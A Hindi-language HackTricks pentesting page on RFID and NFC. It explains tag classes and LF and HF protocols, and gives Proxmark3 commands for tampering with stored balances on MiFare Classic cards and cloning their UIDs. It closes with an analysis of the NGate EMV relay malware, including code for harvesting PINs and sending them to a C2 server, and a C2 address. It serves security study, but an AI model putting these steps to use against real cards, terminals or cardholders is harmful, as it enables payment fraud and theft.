Pentesting RFID

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

परिचय

Radio Frequency Identification (RFID) सबसे लोकप्रिय कम-दूरी रेडियो समाधान है। यह आमतौर पर उस इकाई की पहचान करने वाली जानकारी को स्टोर और ट्रांसमिट करने के लिए उपयोग किया जाता है।

एक RFID टैग अपनी खुद की पावर सोर्स (active) पर निर्भर कर सकता है, जैसे एक एम्बेडेड बैटरी, या रीडिंग ऐन्टाेना से प्राप्त रेडियो वेव्स से प्रेरित करंट का उपयोग करके अपनी पावर प्राप्त कर सकता है (passive) — अर्थात् induced from the received radio waves.

Classes

EPCglobal RFID टैग्स को छह श्रेणियों में बाँटता है। प्रत्येक श्रेणी का टैग पिछली श्रेणी में सूचीबद्ध सभी क्षमताओं को रखता है, जिससे यह बैकवर्ड कम्पैटिबल होता है।

  • Class 0 टैग्स passive होते हैं जो UHF बैंड्स में ऑपरेट करते हैं। विक्रेता उन्हें उत्पादन फैक्ट्री में preprograms करता है। नतीजतन, आप उनकी मेमोरी में रखी जानकारी बदल नहीं सकते।
  • Class 1 टैग्स HF बैंड्स में भी ऑपरेट कर सकते हैं। इसके अलावा, इन्हें उत्पादन के बाद एक बार ही लिखा जा सकता है। कई Class 1 टैग्स प्राप्त कमांड्स के cyclic redundancy checks (CRCs) भी प्रोसेस कर सकते हैं। CRCs कमांड्स के अंत में कुछ अतिरिक्त बाइट्स होते हैं जो एरर डिटेक्शन के लिए होते हैं।
  • Class 2 टैग्स को कई बार लिखा जा सकता है।
  • Class 3 टैग्स में embedded sensors हो सकते हैं जो पर्यावरणीय पैरामीटर रिकॉर्ड कर सकते हैं, जैसे करंट तापमान या टैग की मोशन। ये टैग्स semi-passive होते हैं, क्योंकि हालांकि इनके पास एक एम्बेडेड पावर सोर्स (जैसे इन्टेग्रेटेड battery) होता है, वे वायरलेस communication को स्वयं शुरू नहीं कर सकते।
  • Class 4 टैग्स दूसरों के साथ कम्युनिकेशन शुरू कर सकते हैं, जिससे वे active tags बन जाते हैं।
  • Class 5 टैग्स अन्य टैग्स को power प्रदान कर सकते हैं और पچھली सभी टैग क्लासेस के साथ commmunicate कर सकते हैं। Class 5 टैग्स RFID readers के रूप में भी काम कर सकते हैं।

RFID टैग्स में संग्रहीत जानकारी

एक RFID टैग की मेमोरी आमतौर पर चार प्रकार के डेटा स्टोर करती है: identification data, जो उस इकाई की पहचान करता है जिससे टैग जुड़ा है (इसमें यूज़र-डिफाइंड फील्ड्स शामिल हो सकते हैं, जैसे बैंक अकाउंट्स); supplementary data, जो इकाई के बारे में और विवरण प्रदान करता है; control data, जो टैग के आंतरिक कॉन्फ़िगरेशन के लिए उपयोग होती है; और टैग का manufacturer data, जिसमें टैग का Unique Identifier (UID) और टैग की production, type, और vendor के बारे में विवरण होता है। पहले दो प्रकार के डेटा अधिकांश कमर्शियल टैग्स में पाए जाते हैं; आखिरी दो विक्रेता के आधार पर भिन्न हो सकते हैं।

ISO स्टैंडर्ड Application Family Identifier (AFI) वैल्यू निर्दिष्ट करता है, एक कोड जो बताता है कि टैग किस प्रकार के ऑब्जेक्ट से संबंधित है। एक और महत्वपूर्ण रजिस्टर, जिसे ISO द्वारा भी निर्दिष्ट किया जाता है, वह है Data Storage Format Identifier (DSFID), जो यूज़र डेटा के लॉजिकल ऑर्गनाइज़ेशन को परिभाषित करता है।

अधिकांश RFID security controls में ऐसे मैकेनिज्म होते हैं जो प्रत्येक यूज़र मेमोरी ब्लॉक और AFI/DSFID वाले विशेष रजिस्टरों पर read या write ऑपरेशंस को restrict करते हैं। ये lock mechanisms कंट्रोल मेमोरी में स्टोर किए गए डेटा का उपयोग करते हैं और विक्रेता द्वारा प्रीकॉन्फ़िगर किए गए default passwords होते हैं, लेकिन टैग मालिकों को custom passwords कॉन्फ़िगर करने की अनुमति देते हैं।

Low & High frequency tags comparison

Low-Frequency RFID Tags (125kHz)

Low-frequency tags अक्सर उन सिस्टम्स में उपयोग किए जाते हैं जिन्हें उच्च सुरक्षा की आवश्यकता नहीं होती: बिल्डिंग एक्सेस, इंटरकॉम कीज़, जिम मेंबरशिप कार्ड आदि। उनकी रेंज अधिक होने के कारण वे पेड कार पार्किंग के लिए सुविधाजनक होते हैं: ड्राइवर को कार्ड रीडर के पास लाने की जरूरत नहीं होती, क्योंकि यह दूरी से ट्रिगर हो जाता है। साथ ही, low-frequency टैग्स बहुत primitive होते हैं और इनकी डेटा ट्रांसफर रेट कम होती है। इस वजह से, ऐसे टैग्स पर बैलेंस रखने और क्रिप्टोग्राफी जैसे जटिल two-way डेटा ट्रांसफर को लागू करना असम्भव होता है। low-frequency टैग्स केवल अपना छोटा ID ट्रांसमिट करते हैं बिना किसी authentication के।

ये डिवाइस passive RFID तकनीक पर निर्भर करते हैं और आमतौर पर 30 kHz से 300 kHz की रेंज में ऑपरेट करते हैं, हालांकि सामान्यतः 125 kHz से 134 kHz का उपयोग होता है:

  • Long Range — Lower frequency का मतलब higher range होता है। कुछ EM-Marin और HID रीडर्स होते हैं जो लगभग एक मीटर की दूरी से काम करते हैं। इन्हें अक्सर कार पार्किंग में उपयोग किया जाता है।
  • Primitive protocol — Low data transfer rate के कारण ये टैग्स केवल अपना छोटा ID ट्रांसमिट कर सकते हैं। अधिकांश मामलों में डेटा authenticate नहीं किया जाता और किसी भी तरह से protected नहीं होता। जैसे ही कार्ड रीडर की रेंज में आता है यह बस अपना ID ट्रांसमिट करना शुरू कर देता है।
  • Low security — ये कार्ड्स आसानी से कॉपी किए जा सकते हैं, या प्रोटोकॉल की primitive प्रकृति के कारण किसी और की जेब से भी पढ़े जा सकते हैं।

Popular 125 kHz protocols:

  • EM-Marin — EM4100, EM4102. CIS में सबसे लोकप्रिय प्रोटोकॉल। इसकी सादगी और स्थिरता के कारण लगभग एक मीटर से पढ़ा जा सकता है।
  • HID Prox II — HID Global द्वारा पेश किया गया low-frequency प्रोटोकॉल। यह प्रोटोकॉल पश्चिमी देशों में अधिक लोकप्रिय है। यह अधिक जटिल है और इसके कार्ड्स और रीडर्स अपेक्षाकृत महंगे होते हैं।
  • Indala — Motorola द्वारा पेश किया गया बहुत पुराना low-frequency प्रोटोकॉल, जिसे बाद में HID ने अधिग्रहित किया। पिछली दो की तुलना में इसे वाइल्ड में कम देखने की संभावना है क्योंकि यह उपयोग से बाहर हो रहा है।

वास्तव में, बहुत सारे low-frequency प्रोटोकॉल हैं। लेकिन वे सभी physical layer पर एक ही modulation का उपयोग करते हैं और किसी न किसी तरह से ऊपर सूचीबद्ध स्वरूपों के वैरिएशन माने जा सकते हैं।

Attack

आप इन टैग्स पर Flipper Zero से हमला कर सकते हैं:

FZ - 125kHz RFID

High-Frequency RFID Tags (13.56 MHz)

High-frequency tags अधिक जटिल reader-tag इंटरैक्शन के लिए उपयोग किए जाते हैं जब आपको क्रिप्टोग्राफी, बड़ी two-way डेटा ट्रांसफर, authentication आदि की आवश्यकता होती है.
ये आमतौर पर बैंक कार्ड्स, पब्लिक ट्रांसपोर्ट, और अन्य सुरक्षित पासेस में पाए जाते हैं।

High-frequency 13.56 MHz tags are a set of standards and protocols। इन्हें आमतौर पर NFC कहा जाता है, पर यह हमेशा सटीक नहीं होता। फिजिकल और लॉजिकल लेवल पर उपयोग किए जाने वाले बेसिक प्रोटोकॉल सेट ISO 14443 हैं। उच्च-स्तरीय प्रोटोकॉल, साथ ही वैकल्पिक स्टैंडर्ड (जैसे ISO 19092), इसी पर आधारित होते हैं। कई लोग इस तकनीक को Near Field Communication (NFC) के रूप में संदर्भित करते हैं, जो 13.56 MHz फ्रीक्वेंसी पर ऑपरेट करने वाले डिवाइस के लिए प्रयुक्त शब्द है।

सरल शब्दों में, NFC की आर्किटेक्चर ऐसा काम करती है: ट्रांसमिशन प्रोटोकॉल कार्ड बनाने वाली कंपनी द्वारा चुना जाता है और low-level ISO 14443 के आधार पर इम्प्लीमेंट किया जाता है। उदाहरण के लिए, NXP ने अपना high-level ट्रांसमिशन प्रोटोकॉल Mifare बनाया। लेकिन lower level पर, Mifare कार्ड ISO 14443-A स्टैंडर्ड पर आधारित होते हैं।

Flipper low-level ISO 14443 प्रोटोकॉल के साथ-साथ Mifare Ultralight डेटा ट्रांसफर प्रोटोकॉल और बैंक कार्ड्स में उपयोग होने वाले EMV के साथ इंटरैक्ट कर सकता है। हम Mifare Classic और NFC NDEF के लिए सपोर्ट जोड़ने पर काम कर रहे हैं। NFC को बनाने वाले प्रोटोकॉल्स और स्टैंडर्ड्स का विस्तृत अवलोकन एक अलग लेख के लायक है जिसे हम बाद में प्रकाशित करने की योजना बना रहे हैं।

ISO 14443-A स्टैंडर्ड पर आधारित सभी high-frequency कार्ड्स का एक unique chip ID होता है। यह कार्ड का serial number जैसा काम करता है, जैसे नेटवर्क कार्ड का MAC address। Usually, the UID is 4 or 7 bytes long, पर कभी-कभी यह up to 10 भी जा सकता है। UID कोई सीक्रेट नहीं है और इसे आसानी से पढ़ा जा सकता है, कभी-कभी तो कार्ड पर ही प्रिंट भी किया होता है।

कई access control सिस्टम UID पर भरोसा करते हुए authentication और access grant करते हैं। कभी-कभी यह तब भी होता है जब RFID टैग्स cryptography सपोर्ट करते हैं। ऐसे misuse उन्हें सुरक्षा के मामले में साधारण 125 kHz कार्ड्स के स्तर पर ला देता है। Virtual cards (जैसे Apple Pay) डाइनैमिक UID का उपयोग करते हैं ताकि फोन के मालिक अपने payment app से दरवाज़े न खोल सकें।

  • Low range — high-frequency कार्ड्स को खासतौर पर इस तरह डिज़ाइन किया जाता है कि उन्हें रीडर के पास रखा जाना चाहिए। यह कार्ड को अनधिकृत इंटरैक्शंस से भी सुरक्षित रखने में मदद करता है। हमने जो अधिकतम रीड रेंज प्राप्त की वह लगभग 15 cm थी, और वह भी कस्टम-मेड high-range रीडर्स के साथ।
  • Advanced protocols — 424 kbps तक की डेटा ट्रांसफर स्पीड्स जटिल प्रोटोकॉल्स के साथ पूर्ण-फीचर्ड two-way डेटा ट्रांसफर की अनुमति देती हैं। जो बदले में cryptography, डेटा ट्रांसफर आदि की अनुमति देती है।
  • High security — high-frequency contactless कार्ड्स स्मार्ट कार्ड्स से किसी भी तरह कम नहीं हैं। कुछ कार्ड्स cryptographically मजबूत एल्गोरिद्म जैसे AES को सपोर्ट करते हैं और asymmetrical cryptography लागू करते हैं।

Attack

आप इन टैग्स पर Flipper Zero से हमला कर सकते हैं:

FZ - NFC

या उपयोग करके proxmark:

Proxmark 3

MiFare Classic offline stored-value tampering (broken Crypto1)

जब कोई सिस्टम एक MiFare Classic कार्ड पर सीधे मौद्रिक बैलेंस स्टोर करता है, तो आप अक्सर इसे मैनिपुलेट कर सकते हैं क्योंकि Classic NXP के deprecated Crypto1 cipher का उपयोग करता है। Crypto1 वर्षों से broken है, जिससे sector keys की रिकवरी और कार्ड मेमोरी का पूरा read/write सामान्य हार्डवेयर (उदाहरण के लिए, Proxmark3) से संभव है।

End-to-end workflow (abstracted):

  1. मूल कार्ड को डंप करें और कुंजियाँ पुनर्प्राप्त करें
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn

यह आम तौर पर sector keys (A/B) को पुनः प्राप्त करता है और client dumps folder में एक full-card dump उत्पन्न करता है।

  1. value/integrity fields का पता लगाएँ और समझें
  • मूल कार्ड पर वैध top-ups करें और कई dumps लें (before/after)।
  • दोनों dumps का diff करें ताकि उन बदलते हुए blocks/bytes की पहचान हो सके जो balance और किसी भी integrity fields का प्रतिनिधित्व करते हैं।
  • कई Classic deployments या तो native “value block” encoding का उपयोग करते हैं या अपनी स्वयं की checksums बनाते हैं (उदा., XOR of the balance with another field and a constant)। balance बदलने के बाद, integrity bytes को तदनुसार recompute करें और सुनिश्चित करें कि सभी duplicated/complemented fields consistent हैं।
  1. संशोधित dump को एक writable “Chinese magic” Classic tag पर लिखें
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
  1. मूल UID क्लोन करें ताकि टर्मिनल कार्ड को पहचान सकें
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
  1. टर्मिनलों पर उपयोग

जो Readers ऑन-कार्ड बैलेंस और UID पर भरोसा करते हैं वे मैनिपुलेटेड कार्ड को स्वीकार कर लेंगे। फ़ील्ड नोट्स दिखाते हैं कि कई तैनाती field width के आधार पर बैलेंस को कैप करती हैं (उदाहरण के लिए, 16-bit fixed-point)।

Notes

  • यदि सिस्टम native Classic value blocks का उपयोग करता है, तो फॉर्मैट याद रखें: value (4B) + ~value (4B) + value (4B) + block address + ~address. सभी पार्ट्स मेल खाने चाहिए।
  • simple checksums वाले custom formats के लिए, differential analysis बिना firmware को रिवर्स किए integrity function निकालने का सबसे तेज़ तरीका है।
  • केवल UID-changeable tags (“Chinese magic” gen1a/gen2) block 0/UID लिखने की अनुमति देते हैं। सामान्य Classic cards में read-only UIDs होते हैं।

For hands-on Proxmark3 commands, see:

Proxmark 3

पोर्टेबल HID MaxiProx 125 kHz मोबाइल क्लोनर बनाना

यदि आपको red-team engagements के दौरान HID Prox® badges हार्वेस्ट करने के लिए एक long-range, battery-powered समाधान चाहिए, तो आप wall-mounted HID MaxiProx 5375 reader को एक self-contained क्लोनर में बदल सकते हैं जो बैकपैक में फिट हो। पूरा mechanical और electrical walk-through यहाँ उपलब्ध है:

Maxiprox Mobile Cloner

Android Reader↔HCE Emitter के माध्यम से NFC/EMV रिले

Classic EMV relay को 2 Android डिवाइसेज़ से लागू किया जा सकता है: एक victim-side reader जो असली कार्ड से live APDUs और PIN कैप्चर करता है, और एक attacker-side HCE emitter जो टर्मिनल पर APDUs को upstream फॉरवर्ड करता है। एनालाइज़ किया गया NGate kit legit Android NFC APIs और एक simple framed TCP C2 का दुरुपयोग करता है ताकि रीयल-टाइम ATM cash-outs orchestrate किए जा सकें।

Key building blocks

  • Reader-mode app (victim): NFC reader APIs का उपयोग करके EMV (PAN/expiry/AIDs) पार्स करता है, AID के अनुसार scheme दिखाता है, PIN माँगता है और तुरंत exfiltrates करता है।
  • Emitter-mode app (ATM side): Host Card Emulation (HCE) को लागू करता है साथ में android:requireDeviceUnlock="false" और एक payment AID; processCommandApdu() APDUs को C2 पर फॉरवर्ड करता है और न्यूनतम response लौटाता है।
  • Wire protocol: length-prefixed frames, periodic keepalive; optionally TLS.

Android पक्ष (Manifest/HCE)

<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>

hce.xml उदाहरण (no unlock + payment AID)

<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>

पारदर्शी रिले एंडपॉइंट (HCE)

@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}

EMV स्कीम का अनुमान AID द्वारा (उदाहरण)

  • A000000004 → Mastercard
  • A000000003 → Visa
  • A000000658 → MIR
  • A000000333 → UnionPay

PIN harvesting पैटर्न (victim UI)

// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));

Framed C2 (cleartext उदाहरण)

  • Client→Server: int32 len | int32 opcode | body
  • Server→Client: int32 len | body (opcode payload के अंदर)
  • अस्वीकार करें bodies > ~100 MiB; keepalive ~7s (PING)
// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);

कॉन्फ़िग छुपाना: cert-derived XOR

  • Native lib app signing certificate (DER) का SHA‑256 लेकर 32-byte key निकालता है।
  • C2 config assets में ASCII‑hex के रूप में है (e.g., assets/____), hex-decoded किया जाता है और key के साथ XOR-ed किया जाता है जो हर 32 bytes पर repeat होता है:
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];

ऑफ़लाइन PoC config को decrypt करने के लिए

# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"

import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct  = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

नमूना डिक्रिप्ट किए गए फ़ील्ड: host, port, sharedToken, tls, mode, reader, uniqueID, ttd.

रिले चेन (अंत-से-अंत)

  1. Victim installs APK, opens app → native init assets से config को डिक्रिप्ट करता है।
  2. App framed TCP का उपयोग करके C2 (उदा., 91.84.97.13:5653) से कनेक्ट होता है; keepalive ~7s.
  3. Victim कार्ड टैप करता है → reader PAN/expiry/AIDs निकालता है और CARD_DISCOVERED भेजता है।
  4. Victim PIN दर्ज करता है → keypad PIN_REQ के माध्यम से publishes और exfiltrates करता है; server UI के लिए केवल VALID/INVALID reply देता है।
  5. Attacker device terminal पर HCE emitter चलाकर APDUs को ATM तक relay करता है और cash-out करता है।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें